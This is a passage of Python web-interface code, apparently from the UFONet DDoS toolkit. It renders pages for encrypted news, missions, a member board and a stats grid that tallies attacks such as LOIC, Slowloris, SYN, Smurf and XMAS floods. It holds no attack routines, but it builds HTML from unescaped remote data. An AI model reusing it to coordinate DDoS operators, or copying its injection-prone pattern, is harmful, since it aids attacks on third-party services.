  428. def decrypt(self, key, text):
  429. KEY_SIZE = 32
  430. BLOCK_SIZE = 16
  431. MAC_SIZE = 20
  432. mode = AES.MODE_CFB
  433. try:
  434. iv_ciphertext_mac = b64decode(text)
  435. except TypeError:
  436. return None
  437. iv = iv_ciphertext_mac[:BLOCK_SIZE]
  438. ciphertext = iv_ciphertext_mac[BLOCK_SIZE:-MAC_SIZE]
  439. mac = iv_ciphertext_mac[-MAC_SIZE:]
  440. (cipher_key, mac_key) = self.derive_keys(key)
  441. expected_mac = self.hmac_sha1(mac_key, iv + ciphertext)
  442. if mac != expected_mac:
  443. return None
  444. aes = AES.new(cipher_key, mode, iv)
  445. self.decryptedtext = aes.decrypt(ciphertext)
  446. def encrypt(self, key, text):
  447. from server.crypter import Cipher
  448. from base64 import b64encode, b64decode
  449. key = b64encode(key)
  450. c = Cipher(key, text)
  451. msg = c.encrypt()
  452. c.set_text(msg)
  453. self.encryptedtext = str(msg)
  454. def html_news(self):
  455. return self.pages["/header"] + """<script language="javascript">
  456. function Decrypt(){
  457. news_key=document.getElementById("news_key").value
  458. if(news_key == "") {
  459. window.alert("You need to enter a valid key (provided by someone)");
  460. return
  461. }else{
  462. params="news_key="+escape(news_key)
  463. runCommandX("cmd_decrypt",params)
  464. document.getElementById("nb1").style.display = "none";
  465. }
  466. }
  467. </script>
  468. <script language="javascript">
  469. function RefreshNews(){
  470. news_source=document.getElementById("news_source").value
  471. if(news_source == "") {
  472. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  473. return
  474. }else{
  475. params="news_source="+escape(news_source)
  476. runCommandX("cmd_refresh_news",params)
  477. document.getElementById("nb1").style.display = "none";
  478. setTimeout("location.reload()", 10000)
  479. }
  480. }
  481. </script>
  482. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  483. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  484. <br>
  485. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  486. <td>Blackhole/IP:</td>
  487. <td><input type="text" name="news_source" id="news_source" size="20" value='"""+default_blackhole+"""'></td>
  488. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshNews()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search News...</button></td></tr></table>
  489. <hr>
  490. <table cellpadding="5" cellspacing="5"><tr>
  491. <td><a href="javascript:alert('Psihiz says: """ + self.ranking + """... Welcome to CryptoNews!...');"><img src="/images/aliens/alien1.png"></a></td><td>
  492. <table cellpading="5" cellspacing="10"><tr><td>
  493. <form method='GET'>
  494. Your key: <input type="text" name="news_key" id="news_key" size="20" value='"""+str(self.crypto_key)+"""'>
  495. </td></tr><tr><td>
  496. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  497. </form>
  498. </td></tr></table></td></tr></table>
  499. <hr><br>
  500. </center>
  501. Last update: <font color='"""+ self.news_status_color + """'>"""+ self.news_datetime + """</font><br><br>
  502. <div id="cmdOut"></div>
  503. <div id="nb1" style="display: block;">"""+self.news_text+"""</div><br><br>
  504. """ + self.pages["/footer"]
  505. def html_missions(self):
  506. return self.pages["/header"] + """<script language="javascript">
  507. function Decrypt(){
  508. missions_key=document.getElementById("missions_key").value
  509. if(missions_key == "") {
  510. window.alert("You need to enter a valid key (provided by someone)");
  511. return
  512. }else{
  513. params="missions_key="+escape(missions_key)
  514. runCommandX("cmd_decrypt",params)
  515. document.getElementById("nb1").style.display = "none";
  516. }
  517. }
  518. </script>
  519. <script language="javascript">
  520. function RefreshMissions(){
  521. missions_source=document.getElementById("missions_source").value
  522. if(missions_source == "") {
  523. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  524. return
  525. }else{
  526. params="missions_source="+escape(missions_source)
  527. runCommandX("cmd_refresh_missions",params)
  528. document.getElementById("nb1").style.display = "none";
  529. setTimeout("location.reload()", 10000)
  530. }
  531. }
  532. </script>
  533. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  534. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  535. <br>
  536. <center><table cellpadding="2" cellspacing="2"><tr><td><table cellpadding="5" cellspacing="5"><tr>
  537. <td>Blackhole/IP:</td>
  538. <td><input type="text" name="missions_source" id="missions_source" size="20" value='"""+default_blackhole+"""'></td>
  539. </tr></table></td><td><button title="Search for records on that blackhole..." onclick="RefreshMissions()" style="color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;">Search missions...</button></td></tr></table>
  540. <hr>
  541. <table cellpadding="5" cellspacing="5"><tr>
  542. <td><a href="javascript:alert('Mnahät says: """ + self.ranking + """... Welcome to CryptoMissions!...');"><img src="/images/aliens/alien2.png"></a></td><td>
  543. <table cellpading="5" cellspacing="10"><tr><td>
  544. <form method='GET'>
  545. Your key: <input type="text" name="missions_key" id="missions_key" size="20" value='"""+str(self.crypto_key)+"""'>
  546. </td></tr><tr><td>
  547. <a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt();>Try decryption!</a>
  548. </form>
  549. </td></tr></table></td></tr></table>
  550. <hr><br>
  551. </center>
  552. Last update: <font color='"""+ self.missions_status_color + """'>"""+ self.missions_datetime + """</font><br><br>
  553. <div id="cmdOut"></div>
  554. <div id="nb1" style="display: block;">"""+self.missions_text+"""</div><br><br>
  555. """ + self.pages["/footer"]
  556. def html_board(self):
  557. self.board_welcome = "<div id='board_warning' style='display: none;'><pre><u>WARNING:</u> <br><br> 1) This is our 'Space Cantina': DON'T BE A LAMER!!! <br> 2) NO language RESTRICTIONS <br> 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT)<br> 4) CONTENT can be MODIFIED/REMOVED without notice<br> 5) LOVE, DONATIONS and REPORTS -> <a href='http://127.0.0.1:9999/help' target='_blank'>HERE</a></pre></div>" # board hardcoded warning (hehe)
  558. self.board_topic = "<select id='board_selector'><option value='general'>GENERAL</option><option value='opsec'> - OPSEC: #UFOSTORM</option><option value='faq'>UFONET/FAQ</option><option value='bugs'>UFONET/BUGS</option><option value='media'>UFONET/MEDIA</option></select>"
  559. self.board_send_msg = "<button title='Send your message to the Board (REMEMBER: you will cannot remove it!)...' onclick='SendMessage()'>SEND IT!</button>"
  560. if '"profile_token": "NONE"' in open(self.mothership_boardcfg_file).read():
  561. device_state = "OFF"
  562. device = "Board device: <font color='red'>OFF</font><br>"
  563. else:
  564. device_state = "ON"
  565. self.moderator_text = ''.join(random.sample(self.moderator_text,len(self.moderator_text)))
  566. boardcfg_json_file = open(self.mothership_boardcfg_file, "r") # extract mothership boardcfg
  567. data = json.load(boardcfg_json_file)
  568. boardcfg_json_file.close()
  569. profile_token = data["profile_token"]
  570. profile_icon = data["profile_icon"]
  571. profile_nick = data["profile_nick"]
  572. self.profile_nick.encode('utf-8')
  573. device = "<u>OPERATOR/LINK:</u> <font color='green'>ON</font><br><table cellpadding='5'><tr><td><img src='images/crew/"+str(profile_icon)+".png'></td></tr><tr><td> -NICKNAME: "+self.profile_nick.encode('utf-8')+"</td></tr><tr><td> -ID: "+str(profile_token)+"</td></tr></table>"
  574. if device_state == "OFF":
  575. board_filter = ""
  576. else:
  577. board_filter = "<table cellpadding='5' border='1'><tr><td><input type='radio' name='filter' id='filter_all' value='ALL' CHECKED>/ALL<br> </td><td><input type='radio' name='filter' id='filter_general' value='GENERAL'>/GENERAL</td><td><input type='radio' name='filter' id='filter_opsec' value='OPSEC'>/#OPSEC<br> </td><td><input type='radio' name='filter' id='filter_faq' value='FAQ'>/FAQ</td><td><input type='radio' name='filter' id='filter_bugs' value='BUGS'>/BUGS</td><td><input type='radio' name='filter' id='filter_media' value='MEDIA'>/MEDIA</td></tr></table>"
  578. if device_state == "OFF":
  579. sync_panel = ""
  580. else:
  581. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source' id='board_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncBoard()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><br><hr>"
  582. if device_state == "OFF":
  583. board_panel = ""
  584. else:
  585. with open(self.board_file) as f:
  586. for line in f:
  587. line = line.strip()
  588. self.board_warning += "\n" + " " + line + " " + "\n"
  589. f.close()
  590. self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  591. l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
  592. board_panel = "<form method='GET'><table cellpadding='5'><tr><td><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td> <input type='radio' name='board_action' id='read' onclick='javascript:OptionsCheck();' CHECKED> READ<br> </td><td> <input type='radio' name='board_action' id='write' onclick='javascript:OptionsCheck();'> WRITE<br></td></tr></table></td><td> KEY: <input type='text' name='board_key' id='board_key' size='20' value='"+str(self.crypto_key)+"'> </td></tr></table></td><td><div style='display:block' id='board_read'><table cellpadding='5'><tr><td>"+board_filter+"</td></tr><tr><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_board();>Try decryption!</a></td></tr></table></div></td></tr><tr><td>"+self.board_welcome+"</td><td><div style='display:none' id='board_send'><table cellpadding='10' border='1'><tr><td><table cellpadding='10' border='1'><tr><td>Blackhole/IP:</td><td><input type='text' name='board_source_send' id='board_source_send' size='20' value='"+default_blackhole+"'></td></tr><tr><td>TOPIC:</td><td>"+self.board_topic+"</td></tr><tr><td>MESSAGE:</td><td><textarea rows='3' cols='50' name='stream_txt' id='stream_txt' maxlength='140' placeholder='Enter your message (1-140 chars)...'></textarea></td></tr><tr><td>"+self.board_send_msg+"</td></tr></table></td></tr></table></div></td></tr></table></form><br><hr><br><div id='sync_panel_block' name='sync_panel_block' style='display:none;'>"+sync_panel+"<br></div><u>CRYPTO-BOARD</u>: (Last Update: <font color='green'>"+str(l)+"</font>)<br><br><div id='cmdOut'></div><div id='nb1' style='display: block;'>"+self.moderator_text+"</div><br><br>"
  593. if device_state == "OFF":
  594. remove_profile = ""
  595. else:
  596. remove_profile = '| <button title="Syncronize data from a blackhole/board with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveProfile()">TURN OFF!</button>'
  597. return self.pages["/header"] + """<script language="javascript">
  598. function BoardProfile() {
  599. var win_board_profile = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  600. }
  601. function RemoveProfile() {
  602. var win_board_profile = window.open("board_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  603. }
  604. function Decrypt_board(){
  605. board_key=document.getElementById("board_key").value
  606. if (document.getElementById('filter_all').checked) {
  607. filter = document.getElementById('filter_all').value;
  608. }
  609. if (document.getElementById('filter_general').checked) {
  610. filter = document.getElementById('filter_general').value;
  611. }
  612. if (document.getElementById('filter_opsec').checked) {
  613. filter = document.getElementById('filter_opsec').value;
  614. }
  615. if (document.getElementById('filter_faq').checked) {
  616. filter = document.getElementById('filter_faq').value;
  617. }
  618. if (document.getElementById('filter_bugs').checked) {
  619. filter = document.getElementById('filter_bugs').value;
  620. }
  621. if (document.getElementById('filter_media').checked) {
  622. filter = document.getElementById('filter_media').value;
  623. }
  624. if(board_key == "") {
  625. window.alert("You need to enter a valid key (provided by someone)");
  626. return
  627. }else{
  628. params="board_key="+escape(board_key)+"&filter="+escape(filter)
  629. runCommandX("cmd_decrypt_moderator_board",params)
  630. document.getElementById("nb1").style.display = "none";
  631. }
  632. }
  633. function OptionsCheck() {
  634. if (document.getElementById('read').checked) {
  635. document.getElementById('board_read').style.display = 'block';
  636. document.getElementById('board_send').style.display = 'none';
  637. document.getElementById('board_warning').style.display = 'none';
  638. }
  639. else if(document.getElementById('write').checked) {
  640. document.getElementById('board_send').style.display = 'block';
  641. document.getElementById('board_warning').style.display = 'block';
  642. document.getElementById('board_read').style.display = 'none';
  643. }
  644. }
  645. function Sync_panel(){
  646. document.getElementById("sync_panel_block").style.display = "block";
  647. }
  648. function SyncBoard(){
  649. document.getElementById('nb1').style.display = 'none';
  650. board_source=document.getElementById("board_source").value
  651. if(board_source == "") {
  652. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  653. return
  654. }else{
  655. params="board_source="+escape(board_source)
  656. runCommandX("cmd_sync_board",params)
  657. setTimeout("location.reload()", 10000)
  658. }
  659. }
  660. </script>
  661. <script language="javascript">
  662. function SendMessage() {
  663. board_source=document.getElementById("board_source_send").value
  664. board_key=document.getElementById("board_key").value
  665. stream_txt=document.getElementById("stream_txt").value
  666. board_selector=document.getElementById("board_selector");
  667. board_topic = board_selector.options[board_selector.selectedIndex].value;
  668. if(board_key == "") {
  669. board_key='"""+str(self.crypto_key)+"""';
  670. }else{
  671. if(stream_txt == "") {
  672. window.alert("You need to enter a message! (~ 1-140 characters)");
  673. return
  674. }else{
  675. if(board_source == "") {
  676. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  677. return
  678. }else{
  679. params="board_source="+escape(board_source)+"&board_key="+escape(board_key)+"&board_topic="+escape(board_topic)+"&stream_txt="+escape(stream_txt)
  680. runCommandX("cmd_send_message_board",params)
  681. setTimeout("location.reload()", 10000)
  682. }
  683. }
  684. }
  685. }
  686. </script>
  687. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  688. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  689. <br>
  690. <center>
  691. <table cellpadding="5" cellspacing="5"><tr>
  692. <td><a href="javascript:alert('Riättth says: """ + self.ranking + """... Welcome to the Board. You can generate new identities every time that you want. But remember that, this can be a dangerous place. Just respect to others to be respected... Keep safe and enjoy it. COPYCAT!.');"><img src="/images/board.png"></a></td><td>
  693. <table cellpading="5" cellspacing="10"><tr><td>"""+device+"""<br><button title="Set your profile for this device..." onclick="BoardProfile()">CONFIGURE!</button> """+remove_profile+"""
  694. </td></tr></table></tr></table>
  695. <hr><br>"""+board_panel+"""
  696. """ + self.pages["/footer"]
  697. def generate_grid(self):
  698. with open(self.grid_file) as f:
  699. for line in f:
  700. line = line.strip()
  701. f.close()
  702. mothership_members = 0 # mothership_members stats bonus
  703. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><u>NICKNAME:</u></td><td align='center'><u>RANKING:</u></td><td align='center'><u>CHARGO:</u></td><td align='center'><u>DORKING:</u></td><td align='center'><u>TRANSF:</u></td><td align='center'><u>MAX.CHARGO:</u></td><td align='center'><u>MISSIONS:</u></td><td align='center'><u>ATTACKS:</u></td><td align='center'><u>LOIC:</u></td><td align='center'><u>LORIS:</u></td><td align='center'><u>UFOSYN:</u></td><td align='center'><u>SPRAY:</u></td><td align='center'><u>SMURF:</u></td><td align='center'><u>XMAS:</u></td><td align='center'><u>CONTACT:</u></td></tr>"
  704. for m in self.list_grid: # msg = nickname, ranking, chargo, dorking, transf, maxchargo, missions, attacks, loic, loris, ufosyn, spray, smurf, xmas, contact, ID
  705. if grid_msg_sep in m:
  706. version = m.count(grid_msg_sep) # check UFONet stream version (made for compatibility with old motherships)
  707. m = m.split(grid_msg_sep)
  708. grid_nickname = m[0][0:12]
  709. grid_nickname = ''.join(random.sample(grid_nickname,len(grid_nickname))) # nickname (obfuscation+str12)
  710. mothership_members = mothership_members + 1
  711. grid_ranking = m[1][0:4] # ranking (is parsed later using a symbol)
  712. grid_ranking = ''.join(random.sample(grid_ranking,len(grid_ranking))) # ranking (obfuscation)
  713. grid_totalchargo = m[2][0:4] # total chargo
  714. grid_totalchargo = ''.join(random.sample(grid_totalchargo,len(grid_totalchargo))) # totalchargo (obfuscation)
  715. grid_dorking = m[3][0:4] # dorking
  716. grid_dorking = ''.join(random.sample(grid_dorking,len(grid_dorking))) # dorking (obfuscation)
  717. grid_transferred = m[4][0:4] # transferred
  718. grid_transferred = ''.join(random.sample(grid_transferred,len(grid_transferred))) # transferred (obfuscation)
  719. grid_maxchargo = m[5][0:4] # maxchargo
  720. grid_maxchargo = ''.join(random.sample(grid_maxchargo,len(grid_maxchargo))) # maxchargo (obfuscation)
  721. grid_missions = m[6][0:4] # missions
  722. grid_missions = ''.join(random.sample(grid_missions,len(grid_missions))) # missions (obfuscation)
  723. grid_attacks = m[7][0:4] # attacks
  724. grid_attacks = ''.join(random.sample(grid_attacks,len(grid_attacks))) # attacks (obfuscation)
  725. grid_loic = m[8][0:4] # loic
  726. grid_loic = ''.join(random.sample(grid_loic,len(grid_loic))) # loic (obfuscation)
  727. if version > 12: # v1.2
  728. grid_loris = m[9][0:4] # loris
  729. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  730. grid_ufosyn = m[10][0:4] # ufosyn
  731. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  732. grid_spray = m[11][0:4] # spray
  733. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  734. grid_smurf = m[12][0:4] # smurf
  735. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  736. grid_xmas = m[13][0:4] # xmas
  737. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  738. try:
  739. grid_contact = "<a href=javascript:alert('"+str(m[14][0:12])+"');>View</a>" # js contact view (obfuscation)
  740. except:
  741. grid_contact= "invalid"
  742. try:
  743. grid_id = m[15] # id (plain id)
  744. except:
  745. grid_id = "invalid!"
  746. if version == 12: # v1.1
  747. grid_loris = m[9][0:4] # loris
  748. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  749. grid_ufosyn = m[10][0:4] # ufosyn
  750. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  751. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  752. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  753. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  754. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  755. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  756. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  757. grid_contact = "<a href=javascript:alert('"+str(m[11][0:12])+"');>View</a>" # js contact view (obfuscation)
  758. try:
  759. grid_id = m[12] # id (plain id)
  760. except:
  761. grid_id = "invalid!"
  762. elif version == 11: # v1.0
  763. grid_loris = m[9][0:4] # loris
  764. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  765. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  766. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  767. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  768. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  769. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  770. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  771. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  772. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  773. grid_contact = "<a href=javascript:alert('"+str(m[10][0:12])+"');>View</a>" # js contact view (obfuscation)
  774. try:
  775. grid_id = m[11] # id (plain id)
  776. except:
  777. grid_id = "invalid!"
  778. elif version == 10: # v0.9
  779. grid_loris = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not loris present
  780. grid_loris = ''.join(random.sample(grid_loris,len(grid_loris))) # loris (obfuscation)
  781. grid_ufosyn = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not ufosyn present
  782. grid_ufosyn = ''.join(random.sample(grid_ufosyn,len(grid_ufosyn))) # ufosyn (obfuscation)
  783. grid_spray = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not spray present
  784. grid_spray = ''.join(random.sample(grid_spray,len(grid_spray))) # spray (obfuscation)
  785. grid_smurf = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not smurf present
  786. grid_smurf = ''.join(random.sample(grid_smurf,len(grid_smurf))) # smurf (obfuscation)
  787. grid_xmas = str("2OwgWPTsDw8k6f6sgnGLOw8vAb1PSrs+NkeLNPxEyJO3ahKV0Q==")[0:4] # not xmas present
  788. grid_xmas = ''.join(random.sample(grid_xmas,len(grid_xmas))) # xmas (obfuscation)
  789. grid_contact = "<a href=javascript:alert('"+str(m[9][0:12])+"');>View</a>" # js contact view (obfuscation)
  790. try:
  791. grid_id = m[10] # id (plain id)
  792. except:
  793. grid_id = "invalid!"
  794. else: # no valid version
  795. pass
  796. grid_table += "<tr><td align='center'>"+str(grid_nickname)+"</td><td align='center'>"+str(grid_ranking)+"</td><td align='center'>"+str(grid_totalchargo)+"</td><td align='center'>"+str(grid_dorking)+"</td><td align='center'>"+str(grid_transferred)+"</td><td align='center'>"+str(grid_maxchargo)+"</td><td align='center'>"+str(grid_missions)+"</td><td align='center'>"+str(grid_attacks)+"</td><td align='center'>"+str(grid_loic)+"</td><td align='center'>"+str(grid_loris)+"</td><td align='center'>"+str(grid_ufosyn)+"</td><td align='center'>"+str(grid_spray)+"</td><td align='center'>"+str(grid_smurf)+"</td><td align='center'>"+str(grid_xmas)+"</td><td align='center'>"+str(grid_contact)+"</td></tr>"
  797. else: # not valid stream data
  798. pass
  799. grid_table += "</table>"
  800. if mothership_members == 0:
  801. mothership_members = "¿?"
  802. l = time.ctime(os.path.getmtime(self.grid_file)) # get last modified time
  803. mother_grid = "<div id='grid_panel_enc' style='display:block'><br><center><u>MOTHERSHIP STATS:</u> (Last Update: <font color='green'>"+str(l)+"</font>)</center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td><font color='green'>MEMBERS:</font></td><td align='right'><font color='green'>"+str(mothership_members)+"</font></td><td><font color='red' size='4'>&#x25BC;</font></td><td><font color='red'>¿?</font></td><td><font color='blue' size='4'>****</font></td><td><font color='blue'>¿?</font></td><td><font color='blueviolet' size='4'>***</font></td><td><font color='blueviolet'>¿?</font></td><td><font color='cyan' size='4'>**</font></td><td><font color='cyan'>¿?</font></td><td><font color='white' size='4'>*</font></td><td><font color='white'>¿?</font></td></tr><tr><td>MISSIONS:</td><td>¿?</td><td>ATTACKS:</td><td>¿?</td><td>CHARGO (ACTIVE!):</td><td>¿?</td><td>DORKING:</td><td>¿?</td><td>TRANSF:</td><td>¿?</td><td>MAX.CHARGO:</td><td>¿?</td></tr><tr><td>LOIC:</td><td>¿?</td><td>LORIS:</td><td>¿?</td><td>UFOSYN:</td><td>¿?</td><td>SPRAY:</td><td>¿?</td><td>SMURF:</td><td>¿?</td><td>XMAS:</td><td>¿?</td></tr></table><br><hr><br>"
  804. grid_table = mother_grid + grid_table + "</div>"
  805. return grid_table
  806. def html_grid(self):
  807. if self.ranking == "Rookie": # Rookie
  808. your_ranking = "<font color='white'>Rookie [*]</font>"
  809. elif self.ranking == "Mercenary": # Mercenary
  810. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  811. elif self.ranking == "Bandit": # Bandit
  812. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  813. elif self.ranking == "UFOmmander!": # UFOmmander!
  814. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  815. elif self.ranking == "UFOl33t!": # UFOl33t!
  816. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  817. else:
  818. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  819. if '"grid_token": "NONE"' in open(self.mothership_gridcfg_file).read():
  820. device_state = "OFF"
  821. device = "Grid device: <font color='red'>OFF</font><br>"
  822. else:
  823. device_state = "ON"
  824. gridcfg_json_file = open(self.mothership_gridcfg_file, "r") # extract mothership gridcfg
  825. data = json.load(gridcfg_json_file)
  826. gridcfg_json_file.close()
  827. grid_token = data["grid_token"]
  828. grid_contact = data["grid_contact"]
  829. grid_contact.encode('utf-8')
  830. grid_nick = data["grid_nick"]
  831. grid_nick.encode('utf-8')
  832. device = "<table cellpadding='5'><tr><td> -CONTACT: "+grid_contact.encode('utf-8')+"</td></tr><tr><td> -NICKNAME: "+grid_nick.encode('utf-8')+"</td></tr><tr><td> -RANKING: "+str(your_ranking)+"</td></tr><tr><td> -ID: "+str(grid_token)+"</td></tr></table>"
  833. if device_state == "OFF":
  834. grid_panel = ""
  835. else:
  836. grid_table = self.generate_grid()
  837. grid_panel = grid_table + "<br><div id='cmdOut'></div><br></center><center>"
  838. if device_state == "OFF":
  839. dec_panel = ""
  840. else:
  841. dec_panel = "<table cellpading='5' cellspacing='10'><tr><td><form method='GET'>Your key: <input type='text' name='grid_key' id='grid_key' size='20' value='"+ str(self.crypto_key) +"'></td><td><a style='color:red;text-decoration:underline red;' onclick=javascript:Decrypt_grid();>Try decryption!</a></form></td></tr></table>"
  842. if device_state == "OFF":
  843. sync_panel = ""
  844. else:
  845. sync_panel = "<table cellpadding='2' cellspacing='2'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source' id='grid_source' size='20' value='"+default_blackhole+"'></td></tr></table></td><td><button title='Search for records on that blackhole...' onclick='SyncGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Sync device...</button></td></tr></table><hr>"
  846. if device_state == "OFF":
  847. transfer_panel = ""
  848. else:
  849. transfer_panel = "<form method='GET'><table cellpadding='5' cellspacing='5'><tr><td><table cellpadding='5' cellspacing='5'><tr><td>Blackhole/IP:</td><td><input type='text' name='grid_source_upload' id='grid_source_upload' size='20' value='"+default_blackhole+"'></td></tr><tr><td>Key (encryption):</td><td><input type='text' name='grid_key_upload' id='grid_key_upload' size='20' value='"+ str(self.crypto_key) +"'></td></tr></table></td><td><button title='Upload stats of your mothership to the Grid of that blackhole...' onclick='TransferGrid()' style='color:yellow; height:40px; width:200px; font-weight:bold; background-color:red; border: 2px solid yellow;'>Transfer data...</button></td></tr></table></form><hr>"
  850. if device_state == "OFF":
  851. remove_grid = ""
  852. else:
  853. remove_grid = '| <button title="Review your mothership stats..." onclick="Stats()">STATS!</button> | <button title="Syncronize data from a blackhole/grid with your device..." onclick="Sync_panel()">DOWNLOAD!</button> | <button title="Decrypt data with a specific key..." onclick="Decryption_panel()">DECRYPT!</button> | <button title="Send your data to a global blackhole/grid..." onclick="Transfer_panel()">UPLOAD!</button> | <button title="Remove your profile and turn OFF this device..." onclick="RemoveGrid()">TURN OFF!</button>'
  854. return self.pages["/header"] + """<script language="javascript">
  855. function GridProfile() {
  856. var win_grid_profile = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  857. }
  858. function RemoveGrid() {
  859. var win_grid_profile = window.open("grid_remove","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  860. }
  861. function Stats() {
  862. var win_grid_profile = window.open("stats","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  863. }
  864. function Sync_panel(){
  865. document.getElementById("sync_panel_block").style.display = "block";
  866. document.getElementById("dec_panel").style.display = "none";
  867. document.getElementById("transfer_panel").style.display = "none";
  868. }
  869. function SyncGrid(){
  870. grid_source=document.getElementById("grid_source").value
  871. if(grid_source == "") {
  872. window.alert("You need to enter a valid IP (with a 'blackhole' listening on).");
  873. return
  874. }else{
  875. params="grid_source="+escape(grid_source)
  876. runCommandX("cmd_sync_grid",params)
  877. setTimeout("location.reload()", 10000)
  878. }
  879. }
  880. function Transfer_panel(){
  881. document.getElementById("transfer_panel").style.display = "block";
  882. document.getElementById("sync_panel_block").style.display = "none";
  883. document.getElementById("dec_panel").style.display = "none";
  884. }
